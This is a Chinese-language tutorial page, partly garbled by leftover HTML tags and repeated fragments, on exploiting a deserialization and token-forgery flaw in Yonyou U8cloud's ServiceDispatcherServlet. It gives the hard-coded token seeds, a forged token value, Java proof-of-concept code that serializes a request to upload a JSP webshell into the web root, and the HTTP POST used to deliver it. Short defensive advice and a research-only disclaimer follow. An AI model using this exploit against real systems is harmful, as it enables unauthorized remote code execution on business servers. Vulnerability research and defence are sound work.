用友U8cloud ServiceDispatcherServlet漏洞分析与利用教学<\/h1>

漏洞概述<\/h2>
用友U8cloud系统的ServiceDispatcherServlet接口存在安全漏洞，攻击者可通过构造特定的反序列化数据绕过安全验证，实现任意文件上传，最终可能导致远程代码执行。<\/p>

漏洞接口<\/h2>

接口路径：

\/ServiceDispatcherServlet<\/code><\/li>
<\/ul>
漏洞分析<\/h2>
1. 代码执行流程分析<\/h3>
反序列化入口点<\/h4>
ServiceDispatcherServlet接口对应的处理类中的execcall<\/code>方法存在反序列化操作：<\/p>
\/\/ 反序列化InvocationInfo对象
<\/span><\/span><\/span><\/span>InvocationInfo invInfo =<\/span> (<\/span>InvocationInfo)<\/span>NetObjectInputStream.<\/span>readObject<\/span>(<\/span>is);<\/span>
<\/span><\/span><\/code><\/pre>安全验证机制<\/h4>
系统通过token验证进行安全防护：<\/p>

首先验证token有效性<\/li>
调用invokeBeanMethod<\/code>方法，将反序列化后的invInfo对象的module、service、method、parameter参数传入<\/li>
通过反射机制调用指定方法<\/li>
<\/ol>
2. Token验证绕过分析<\/h3>
token生成机制<\/h4>
验证过程调用vertifyTokenIllegal<\/code>方法：<\/p>
\/\/ 获取userCode（可控）
<\/span><\/span><\/span><\/span>String userCode =<\/span> invInfo.<\/span>getUserCode<\/span>();<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 生成token进行验证
<\/span><\/span><\/span><\/span>String token =<\/span> TokenUtil.<\/span>genToken<\/span>(<\/span>userCode,<\/span> ip,<\/span> service);<\/span>
<\/span><\/span><\/code><\/pre>token种子获取方式<\/h4>
系统从两个来源获取token种子：<\/p>

从\/ierp\/bin\/token\/tokenSeed.conf<\/code>文件中读取tokenseed<\/code>值<\/li>
默认硬编码值：232asfdsjkfmsdgldfg<\/code><\/li>
<\/ol>
配置文件中的token种子为固定值：<\/p>
ab7d823e-03ef-39c1-9947-060a0a08b931
<\/code><\/pre>
由于token种子固定，攻击者可轻易伪造有效token。<\/p>
3. 反序列化限制与绕过<\/h3>
类限制检查<\/h4>
反序列化时进行类限制检查：<\/p>
\/\/ 只允许反序列化InvocationInfo类及其子类
<\/span><\/span><\/span><\/span>if<\/span>(!<\/span>InvocationInfo.<\/span>class<\/span>.<\/span>isAssignableFrom<\/span>(<\/span>clazz))<\/span> {<\/span>
<\/span><\/span>    throw<\/span> new<\/span> ClassNotFoundException(<\/span>clazz.<\/span>getName<\/span>());<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>可利用的方法<\/h4>
方法一：FileTransImpl.uploadFile<\/strong><\/p>

类：nc.impl.hr.tools.trans.FileTransImpl<\/code><\/li>
方法：uploadFile<\/code><\/li>
参数：byte[]<\/code>（文件内容），String<\/code>（目标路径）<\/li>
<\/ul>
方法二：IPFxxFileService.writeDocToXMLFile<\/strong><\/p>

类：IPFxxFileService<\/code><\/li>
方法：writeDocToXMLFile<\/code><\/li>
功能：写入文档到XML文件<\/li>
<\/ul>
漏洞利用构造<\/h2>
1. 环境准备<\/h3>
添加用友U8cloud相关依赖jar包。<\/p>
2. POC构造代码<\/h3>
import<\/span> java.io.*;<\/span>
<\/span><\/span>import<\/span> java.util.zip.*;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> U8CloudExploit<\/span> {<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception {<\/span>
<\/span><\/span>        \/\/ 构造文件上传数据
<\/span><\/span><\/span><\/span>        byte<\/span>[]<\/span> fileData =<\/span> createCompressedFileData(<\/span>"D:\\exploit.jsp"<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 设置方法参数：文件内容和目标路径
<\/span><\/span><\/span><\/span>        Object[]<\/span> params =<\/span> {<\/span>fileData,<\/span> ".\\webapps\\u8c_web\\exploit.jsp"<\/span>};<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 创建InvocationInfo对象
<\/span><\/span><\/span><\/span>        InvocationInfo invInfo =<\/span> new<\/span> InvocationInfo(<\/span>
<\/span><\/span>            "nc.itf.hr.tools.IFileTrans"<\/span>,<\/span>      \/\/ module
<\/span><\/span><\/span><\/span>            "uploadFile"<\/span>,<\/span>                      \/\/ method
<\/span><\/span><\/span><\/span>            new<\/span> Class[]{<\/span>byte<\/span>[].<\/span>class<\/span>,<\/span> String.<\/span>class<\/span>},<\/span> \/\/ 参数类型
<\/span><\/span><\/span><\/span>            params                             \/\/ 参数值
<\/span><\/span><\/span><\/span>        );<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 设置伪造的token和userCode
<\/span><\/span><\/span><\/span>        invInfo.<\/span>setToken<\/span>(<\/span>"deb632f79c09e2c04ab18c50ef7de636"<\/span>);<\/span>
<\/span><\/span>        invInfo.<\/span>setUserCode<\/span>(<\/span>"#UAP#"<\/span>);<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 序列化对象到文件
<\/span><\/span><\/span><\/span>        FileOutputStream fos =<\/span> new<\/span> FileOutputStream(<\/span>".\/exploit.ser"<\/span>);<\/span>
<\/span><\/span>        NetObjectOutputStream.<\/span>writeObject<\/span>(<\/span>fos,<\/span> invInfo);<\/span>
<\/span><\/span>        fos.<\/span>close<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    
<\/span><\/span>    \/**
<\/span><\/span><\/span>     * 创建压缩文件数据
<\/span><\/span><\/span>     *\/<\/span>
<\/span><\/span>    public<\/span> static<\/span> byte<\/span>[]<\/span> createCompressedFileData<\/span>(<\/span>String filePath)<\/span> throws<\/span> IOException {<\/span>
<\/span><\/span>        File file =<\/span> new<\/span> File(<\/span>filePath);<\/span>
<\/span><\/span>        byte<\/span>[]<\/span> fileBytes =<\/span> new<\/span> byte<\/span>[(<\/span>int<\/span>)<\/span> file.<\/span>length<\/span>()];<\/span>
<\/span><\/span>        FileInputStream fis =<\/span> new<\/span> FileInputStream(<\/span>file);<\/span>
<\/span><\/span>        fis.<\/span>read<\/span>(<\/span>fileBytes);<\/span>
<\/span><\/span>        fis.<\/span>close<\/span>();<\/span>
<\/span><\/span>        
<\/span><\/span>        \/\/ 对文件内容进行压缩
<\/span><\/span><\/span><\/span>        ByteArrayOutputStream baos =<\/span> new<\/span> ByteArrayOutputStream();<\/span>
<\/span><\/span>        ZipOutputStream zos =<\/span> new<\/span> ZipOutputStream(<\/span>baos);<\/span>
<\/span><\/span>        ZipEntry entry =<\/span> new<\/span> ZipEntry(<\/span>"compressed"<\/span>);<\/span>
<\/span><\/span>        zos.<\/span>putNextEntry<\/span>(<\/span>entry);<\/span>
<\/span><\/span>        zos.<\/span>write<\/span>(<\/span>fileBytes);<\/span>
<\/span><\/span>        zos.<\/span>closeEntry<\/span>();<\/span>
<\/span><\/span>        zos.<\/span>close<\/span>();<\/span>
<\/span><\/span>        
<\/span><\/span>        return<\/span> baos.<\/span>toByteArray<\/span>();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>3. 利用步骤<\/h3>


构造恶意序列化数据<\/strong><\/p>

创建包含Webshell内容的JSP文件<\/li>
运行POC代码生成序列化文件<\/li>
<\/ul>
<\/li>

发送恶意请求<\/strong><\/p>
POST<\/span> \/ServiceDispatcherServlet HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> target-server:port<\/span>
<\/span><\/span>Content-Type:<\/span> application\/octet-stream<\/span>
<\/span><\/span>
<\/span><\/span>[序列化数据内容]<\/span>
<\/span><\/span><\/code><\/pre><\/li>

文件上传路径<\/strong><\/p>

上传路径：.\/webapps\/u8c_web\/[文件名].jsp<\/code><\/li>
可通过目标路径参数控制上传位置<\/li>
<\/ul>
<\/li>
<\/ol>
防御建议<\/h2>
1. 临时防护措施<\/h3>

禁用或限制访问\/ServiceDispatcherServlet<\/code>接口<\/li>
加强网络访问控制，限制可疑IP访问<\/li>
<\/ul>
2. 长期加固方案<\/h3>

更新到官方安全版本<\/li>
使用动态token种子机制<\/li>
加强反序列化白名单控制<\/li>
实施文件上传路径限制和内容检查<\/li>
<\/ul>
技术要点总结<\/h2>

漏洞本质<\/strong>：反序列化绕过+token验证缺陷<\/li>
利用条件<\/strong>：需要构造特定的InvocationInfo序列化数据<\/li>
影响范围<\/strong>：可实现任意文件上传，可能导致RCE<\/li>
利用难度<\/strong>：中等，需要了解Java反序列化和用友系统架构<\/li>
<\/ol>
参考资源<\/h2>

用友官方安全公告<\/li>
相关安全分析文章和技术报告<\/li>
<\/ul>

注：本文档仅用于安全研究和防御目的，请勿用于非法用途。<\/em><\/p>

用友U8cloud ServiceDispatcherServlet漏洞分析与利用教学<\/h1>

漏洞概述<\/h2> 用友U8cloud系统的ServiceDispatcherServlet接口存在安全漏洞，攻击者可通过构造特定的反序列化数据绕过安全验证，实现任意文件上传，最终可能导致远程代码执行。<\/p>

漏洞分析<\/h2>

1. 代码执行流程分析<\/h3>

2. Token验证绕过分析<\/h3>

3. 反序列化限制与绕过<\/h3>

漏洞利用构造<\/h2>

1. 环境准备<\/h3> 添加用友U8cloud相关依赖jar包。<\/p>

防御建议<\/h2>

参考资源<\/h2> 用友官方安全公告<\/li> 相关安全分析文章和技术报告<\/li> <\/ul> 注：本文档仅用于安全研究和防御目的，请勿用于非法用途。<\/em><\/p>

漏洞概述<\/h2>
用友U8cloud系统的ServiceDispatcherServlet接口存在安全漏洞，攻击者可通过构造特定的反序列化数据绕过安全验证，实现任意文件上传，最终可能导致远程代码执行。<\/p>

1. 环境准备<\/h3>
添加用友U8cloud相关依赖jar包。<\/p>

参考资源<\/h2>

用友官方安全公告<\/li>
相关安全分析文章和技术报告<\/li> <\/ul>

注：本文档仅用于安全研究和防御目的，请勿用于非法用途。<\/em><\/p>